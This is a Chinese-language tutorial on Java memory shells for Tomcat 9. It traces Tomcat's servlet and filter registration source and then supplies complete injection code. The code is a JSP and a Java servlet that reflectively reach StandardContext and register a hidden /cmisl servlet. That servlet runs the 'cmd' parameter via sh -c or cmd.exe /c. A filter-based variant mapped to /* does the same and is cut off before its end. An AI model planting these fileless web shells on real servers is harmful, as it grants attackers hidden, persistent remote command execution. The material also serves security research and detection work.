JAVA内存马系列

JAVA内存马

内存马(Memory Shell)是一种高级的攻击技术,主要用于在受感染的系统中持久化恶意代码。内存马通常不会将恶意代码写入磁盘,而是将其直接加载到内存中运行,从而避免传统的防病毒软件和检测机制。

传统Web型内存马

环境

JDK1.8.0_65 Tomcat9.0.85

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
</dependency>
</dependencies>

调试环境

导入依赖

可以新建一个模块用于分析Tomcat流程,所以我们需要导入tomcat的代码来便于调试。这里用的是用 tomcat-catalina

1
2
3
4
5
6
7
8
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.85</version>
<scope>provided</scope>
</dependency>
</dependencies>

启动流程

总结Tomcat的启动过程,可以分为以下几个关键步骤:

  1. 初始化:加载启动类和创建Catalina对象,这是Tomcat的核心管理对象。

  2. 配置加载:读取并解析server.xmlweb.xml配置文件,配置Tomcat的基础服务和Web应用参数。

  3. 组件初始化:依次初始化Tomcat的各个核心组件,如Server、Service、Connector、Engine、Host和Context。

  4. 服务启动:启动各个组件,特别是Connector组件,它负责接收和处理客户端请求。

  5. 应用部署:扫描并部署Web应用程序,使其准备好处理请求。

  6. 请求处理:当请求到达时,Tomcat根据URL匹配相应的Context,并将请求转发到对应的Servlet或JSP进行处理。

在Tomcat中,具体负责处理Filter和加载Servlet的ContextStandardContext。我们可以将断点打在org.apache.catalina.util.StandardContext#startInternal方法上。

然后我们一路来到org.apache.catalina.startup.ContextConfig#configureContext

调用堆栈如下

1
2
3
4
5
6
configureContext:1426, ContextConfig (org.apache.catalina.startup)
webConfig:1340, ContextConfig (org.apache.catalina.startup)
configureStart:991, ContextConfig (org.apache.catalina.startup)
lifecycleEvent:304, ContextConfig (org.apache.catalina.startup)
fireLifecycleEvent:114, LifecycleBase (org.apache.catalina.util)
startInternal:4820, StandardContext (org.apache.catalina.core)

这个函数比较长,那么我截取其中我们需要的一些片段来解释。首先说一下这段代码的作用,这段代码是用于将Web应用程序的配置(从web.xml,注解等来源)应用到Tomcat的Context对象中。Context对象是Tomcat中表示单个Web应用的核心组件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
private void configureContext(WebXml webxml) {
......

// 遍历web.xml中的Context参数,并将它们添加到Context中
Iterator var2 = webxml.getContextParams().entrySet().iterator();
for (Entry<String, String> entry : webxml.getContextParams().entrySet()) {
context.addParameter(entry.getKey(), entry.getValue());
}

......

// 添加Filter定义
for (FilterDef filter : webxml.getFilters().values()) {
if (filter.getAsyncSupported() == null) {
filter.setAsyncSupported("false");
}
context.addFilterDef(filter);
}

// 添加Filter映射
for (FilterMap filterMap : webxml.getFilterMappings()) {
context.addFilterMap(filterMap);
}

......

// 添加应用监听器
for (String listener : webxml.getListeners()) {
context.addApplicationListener(listener);
}

......

// 添加Servlet定义
for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
// Description is ignored
// Display name is ignored
// Icons are ignored

// jsp-file gets passed to the JSP Servlet as an init-param

if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;

if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}

wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
context.addChild(wrapper);
}

// 添加Servlet映射
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}

......

}

可以看到我们这段代码负责了为当前StandardContext添加Servlet,Filter,Listener的定义和映射。如果我们能利用这里的代码。添加了恶意的Servlet,Filter,Listener的映射。在后续将这些恶意组件加载了的话,就可以通过这些组件来命令执行。

Servlet型内存马

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/test")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws
IOException {
resp.getWriter().write("hello world");
}
}

servlet初始化流程分析

通过前面一点分析,可以先看org.apache.catalina.startup.ContextConfig#configureContext 。我们截取servlet相关的代码片段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// 遍历webxml中定义的所有Servlet
for (ServletDef servlet : webxml.getServlets().values()) {
// 创建一个新的Servlet包装器
Wrapper wrapper = context.createWrapper();

// 设置Servlet的启动顺序
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}

// 设置Servlet是否启用
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}

// 设置Servlet的名称
wrapper.setName(servlet.getServletName());

// 添加初始化参数到Servlet包装器
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}

// 设置Servlet的运行角色
wrapper.setRunAs(servlet.getRunAs());

// 添加安全角色引用
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}

// 设置Servlet的类名
wrapper.setServletClass(servlet.getServletClass());

// 设置多部分配置元素
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;

if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}

wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}

// 设置Servlet是否支持异步处理
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}

// 设置Servlet是否可覆盖
wrapper.setOverridable(servlet.isOverridable());

// 将Servlet包装器添加到上下文中
context.addChild(wrapper);
}

// 添加Servlet映射
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}

可以看出这段代码解析并配置Servlet容器中的Servlet定义和映射。首先,它遍历webxml对象中定义的所有Servlet,并为每个Servlet创建一个Wrapper对象。然后,它设置该Servlet的各种属性,如启动顺序、是否启用、名称、初始化参数、运行角色、安全角色引用、类名、多部分配置以及是否支持异步处理等。最后,它将这些配置好的Wrapper对象添加到上下文中。然后,代码还会遍历webxml中的Servlet映射,并将这些映射添加到上下文中,从而完成Servlet的注册和映射配置。

servlet装载流程分析

我们接着来看一下装载的过程,在刚刚的过程结束后,会回到org.apache.catalina.util.StandardContext#startInternal方法上,然后会调用listenerStart和filterStart函数,启动listener然后再启动filter,最后来到loadOnStartup,这个函数上面注释的意思是加载并初始化所有“启动时加载”的servlet。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public boolean loadOnStartup(Container children[]) {

// 收集需要初始化的“启动时加载”Servlet
TreeMap<Integer,ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) {
// 跳过loadOnStartup值为负的Servlet
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
map.computeIfAbsent(key, k -> new ArrayList<>()).add(wrapper);
}

// 按顺序加载收集到的“启动时加载”Servlet
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(
sm.getString("standardContext.loadOnStartup.loadException", getName(), wrapper.getName()),
StandardWrapper.getRootCause(e));
// 加载错误(包括Servlet在init()方法中抛出UnavailableException)
// 通常不会导致应用启动失败,除非配置了failCtxIfServletStartFails="true"
if (getComputedFailCtxIfServletStartFails()) {
// 如果配置了在Servlet加载失败时使上下文启动失败,则返回false
return false;
}
}
}
}
// 如果所有Servlet都成功加载,返回true
return true;

}

loadOnStartup 函数负责在Servlet容器启动时,按照指定的启动顺序加载并初始化标记为“启动时加载”的Servlet。它首先收集所有具有正的loadOnStartup值的Servlet,并按这些值的顺序存储在TreeMap中。然后,它依次加载这些Servlet,如果在加载过程中遇到ServletException异常,会记录错误日志,并根据配置决定是否将该异常视为致命错误。如果配置了failCtxIfServletStartFailstrue,则在遇到加载失败时返回false,表示加载失败;否则,继续加载其他Servlet。如果所有Servlet都成功加载,则返回true

编写内存马

如果我们想要写一个 Servlet 内存马,需要经过以下步骤:

  • 找到 StandardContext
  • 继承并编写一个恶意 servlet
  • 创建 Wapper 对象
  • 设置 Servlet 的 LoadOnStartUp 的值
  • 设置 Servlet 的 Name
  • 设置 Servlet 对应的 Class
  • 将 Servlet 添加到 context 的 children 中
  • 将 url 路径和 servlet 类做映射

我们可以按照上面流程编写我们的内存马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Scanner" %>

<%
try {
ServletContext servletContext = request.getSession().getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) {}

@Override
public ServletConfig getServletConfig() { return null; }

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
String cmd = servletRequest.getParameter("cmd");
servletResponse.setCharacterEncoding("GBK");
if (cmd != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
servletResponse.getWriter().close();
}
}

@Override
public String getServletInfo() { return null; }

@Override
public void destroy() {}
};

String servletName = "cmisl";
String servletPath = "/cmisl";
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setLoadOnStartup(1);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(servletPath, servletName);

response.setCharacterEncoding("utf-8");
response.setContentType("text/html;charset=utf-8");
out.println("[+]servlet型内存马注入成功<br>");
out.println("[+]URL: http://localhost:8080/ServletMemoryShell_war_exploded/cmisl");

} catch (Exception e) {}
%>

对应java版本代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet("/servletmemoryshell")
public class ServletMemoryShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
ServletContext servletContext = req.getSession().getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Servlet servlet = new Servlet() {

@Override
public void init(ServletConfig servletConfig) {}

@Override
public ServletConfig getServletConfig() {return null;}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
String cmd = servletRequest.getParameter("cmd");
servletResponse.setCharacterEncoding("GBK");
if(cmd!=null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")){
isLinux = false;
}
String[] commands = isLinux ? new String[]{"sh","-c",cmd}:new String[]{"cmd.exe","/c",cmd};
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
servletResponse.getWriter().close();
}
}

@Override
public String getServletInfo() {return null;}

@Override
public void destroy() {}
};

String servletName = "cmisl";
String servletPath = "/cmisl";
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setLoadOnStartup(1);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(servletPath,servletName);


resp.setCharacterEncoding("utf-8");
resp.setContentType("text/html;charset=utf-8");
resp.getWriter().write("[+]servlet型内存马注入成功<br>");
resp.getWriter().write("[+]URL:http://localhost:8080/ServletMemoryShell_war_exploded/cmisl");

}catch (Exception e){}
}
}

为什么需要获取StandardContext

其实前面有提,StandardContext 是 Tomcat 中表示 Web 应用程序上下文的类。通过获取到 StandardContext,可以直接操作该 Web 应用程序的配置。例如,可以添加新的 ServletFilter 或其他组件,而无需在文件系统上进行任何操作。这样可以达到隐藏恶意行为的目的。

获取StandardContext的方法

通过 ServletContext 反射获取
1
2
3
4
5
6
7
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
通过 Request 对象反射获取
1
2
3
4
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

从线程中获取StandardContext,参考Litch1师傅的文章:

https://mp.weixin.qq.com/s/O9Qy0xMen8ufc3ecC33z6A

从MBean中获取,参考54simo师傅的文章:https://scriptboy.cn/p/tomcat-filter-inject/,不过

这位师傅的博客已经关闭了,我们可以看存档:

https://web.archive.org/web/20211027223514/https://scriptboy.cn/p/tomcat-filter-inject/

从spring运行时的上下文中获取,参考 LandGrey@奇安信观星实验室 师傅的文章:

https://www.anquanke.com/post/id/198886

关于Tomcat中的三个Context的理解

关于Tomcat中的三个Context的理解 - (yzddmr6.com)

Filter型内存马

Filter 在 Web 应用中扮演着关卡的角色,客户端的请求在到达 Servlet 之前必须经过 Filter。如果我们能够动态创建一个 Filter 并将其置于过滤器链的最前端,那么这个 Filter 就会最先执行。通过在 Filter 中嵌入恶意代码,我们可以实现命令执行,从而形成内存马。

以下是对相关概念的详细解释:

  1. FilterDef
    FilterDef 是过滤器的定义,包含了过滤器的描述信息、名称、实例以及类等。这些信息定义了一个具体的过滤器。相关代码可以在 org/apache/tomcat/util/descriptor/web/FilterDef.java 中找到。

  2. FilterDefs
    FilterDefs 是一个数组,用于存放多个 FilterDef。它是过滤器的抽象定义,描述了过滤器的基本信息。

  3. FilterConfigs
    FilterConfigsFilterDef 的具体配置实例。我们可以为每个过滤器定义具体的配置参数,以满足系统的需求。

  4. FilterMaps
    FilterMaps 用于将 FilterConfigs 映射到具体的请求路径或其他标识上。这样,系统在处理请求时就能够根据请求的路径或标识找到对应的 FilterConfigs,从而确定要执行的过滤器链。

  5. FilterChain
    FilterChain 是由多个 FilterConfigs 组成的链式结构,定义了过滤器的执行顺序。在处理请求时,系统会按照 FilterChain 中的顺序依次执行每个过滤器,对请求进行过滤和处理。

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/test")
public class TestFilter implements Filter {
public void init(FilterConfig filterConfig) {
System.out.println("[+] Filter初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse
servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[+] Filter执行过滤操作");
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
System.out.println("[+] Filter已销毁");
}
}

运行之后,控制台输出 [+] Filter初始化创建 ,当我们访问 /test 路由的时候,控制台输出
[+] Filter执行过滤操作 ,当我们结束 tomcat 的时候,会触发 destroy 方法,从而输出 [+]
Filter已销毁

Filter流程分析

在上面doFilter方法打上断点,可以看到,我们的Filter已经在filterChain了。我们可以往上看看这个filterChain是怎么构建的,关注什么时候我们构建的filter进入filterChain。

image-20240723014206660

1
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

可以看到ApplicationFilterFactory.createFilterChain这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {

// 如果没有要执行的 servlet,返回 null
if (servlet == null) {
return null;
}

// 创建并初始化一个过滤器链对象
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// 安全模式下:不重用过滤器链
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// 请求分发器在使用中
filterChain = new ApplicationFilterChain();
}

// 设置要执行的 servlet 和异步支持标志
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// 获取当前 Context 的过滤器映射
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

// 如果没有过滤器映射,直接返回过滤器链
if (filterMaps == null || filterMaps.length == 0) {
return filterChain;
}

// 获取匹配过滤器映射所需的信息
DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

String requestPath = null;
Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
if (attribute != null) {
requestPath = attribute.toString();
}

String servletName = wrapper.getName();

// 将相关的路径映射过滤器添加到过滤器链
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - 记录配置问题
continue;
}
filterChain.addFilter(filterConfig);
}

// 将匹配 servlet 名称的过滤器添加到过滤器链
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - 记录配置问题
continue;
}
filterChain.addFilter(filterConfig);
}

// 返回完成的过滤器链
return filterChain;
}

那么这个方法里我们这里比较关心的代码片段如下

1
2
3
4
5
6
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
......
ApplicationFilterConfig filterConfig =(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
......
filterChain.addFilter(filterConfig);
  • 获取当前 Web 应用程序上下文,从中提取过滤器的映射定义和配置。
  • 根据请求路径和 Servlet 名称匹配相应的过滤器。
  • 将匹配到的过滤器配置添加到过滤器链中,以便在处理请求时按照定义的顺序执行这些过滤器。

其中涉及到的两个方法实现如下

1
2
3
4
5
6
7
8
9
public FilterMap[] findFilterMaps() {
return filterMaps.asArray();
}

public FilterConfig findFilterConfig(String name) {
synchronized (filterDefs) {
return filterConfigs.get(name);
}
}

我们现在的问题就转化为如何添加 filterMap 和 filterConfig 。

其实前面调试环境部分有提到org.apache.catalina.startup.ContextConfig#configureContext方法里面就存在context.addFilterMap(filterMap)

实现代码如下,首先会调用validateFilterMap函数来判断filterMap有没有对应的FilterDef,FilterDef我们也有对应的addFilterDef函数添加。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public void addFilterMap(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.add(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}

private void validateFilterMap(FilterMap filterMap) {
// Validate the proposed filter mapping
String filterName = filterMap.getFilterName();
String[] servletNames = filterMap.getServletNames();
String[] urlPatterns = filterMap.getURLPatterns();
if (findFilterDef(filterName) == null) {
throw new IllegalArgumentException(sm.getString("standardContext.filterMap.name", filterName));
}

if (!filterMap.getMatchAllServletNames() && !filterMap.getMatchAllUrlPatterns() && (servletNames.length == 0) &&
(urlPatterns.length == 0)) {
throw new IllegalArgumentException(sm.getString("standardContext.filterMap.either"));
}
for (String urlPattern : urlPatterns) {
if (!validateURLPattern(urlPattern)) {
throw new IllegalArgumentException(sm.getString("standardContext.filterMap.pattern", urlPattern));
}
}
}

至于filterConfigs,我们只能在filterStart函数中找到其添加方法。所以需要用反射修改了。不过可以从这个函数推断filterConfigs的机构,需要一个String和ApplicationFilterConfig做键值对,ApplicationFilterConfig的参数又需要一个StandardContext和filterDef。

image-20240723024213088

编写内存马

如果我们想要写一个 Filter 内存马,需要经过以下步骤:

参考:Tomcat-Filter型内存马 - Longlone’s Blog

  • 获取 StandardContext ;
  • 继承并编写一个恶意 filter ;
  • 实例化一个 FilterDef 类,包装 filter 并存放到 StandardContext.filterDefs 中;
  • 实例化一个 FilterMap 类,将我们的 Filter 和 urlpattern 相对应,使用addFilterMapBefore 存放到 StandardContext.filterMaps 中;
  • 通过反射获取 filterConfigs ,实例化一个 FilterConfig ( ApplicationFilterConfig )类,传入 StandardContext 与 filterDef ,存放到 filterConfigs 中。

参考:Tomcat内存马 | Tyaoo’s Blog

需要注意的是,一定要先修改 filterDef ,再修改 filterMap ,不然会抛出找不到 filterName 的异

常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.Scanner" %>

<%
try {
// 获取当前请求的ServletContext对象
ServletContext servletContext = request.getSession().getServletContext();
// 通过反射获取ApplicationContext对象
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
// 通过反射获取StandardContext对象
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

// 通过反射获取filterConfigs字段
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);

// 定义过滤器名称
String filterName = "cmisl";

// 检查过滤器是否已经存在
if (filterConfigs.get(filterName) == null) {
// 创建一个新的过滤器实例
Filter filter = new Filter() {

@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// 从请求参数中获取命令
String cmd = servletRequest.getParameter("cmd");
servletResponse.setCharacterEncoding("GBK");
if (cmd != null) {
// 判断操作系统类型
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
// 根据操作系统类型设置命令执行方式
String[] commands = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
// 执行命令并获取输入流
InputStream inputStream = Runtime.getRuntime().exec(commands).getInputStream();
Scanner s = new Scanner(inputStream, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
// 将命令执行结果写入响应
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
servletResponse.getWriter().close();
// 继续处理请求链
filterChain.doFilter(servletRequest, servletResponse);
}
}

@Override
public void destroy() {
Filter.super.destroy();
}
};

// 创建并配置FilterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);

// 将FilterDef对象添加到StandardContext
standardContext.addFilterDef(filterDef);

// 创建并配置FilterMap对象
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*"); // 设置过滤器的URL模式
filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 设置调度类型为REQUEST

// 将FilterMap对象添加到StandardContext
standardContext.addFilterMapBefore(filterMap);

// 通过反射获取ApplicationFilterConfig的构造函数
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
// 创建ApplicationFilterConfig实例
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
// 将ApplicationFilterConfig实例添加到filterConfigs
filterConfigs.put(filterName, applicationFilterConfig);

// 设置响应编码和内容类型
response.setCharacterEncoding("utf-8");
response.setContentType("text/html;charset=utf-8");
// 输出成功信息和访问URL
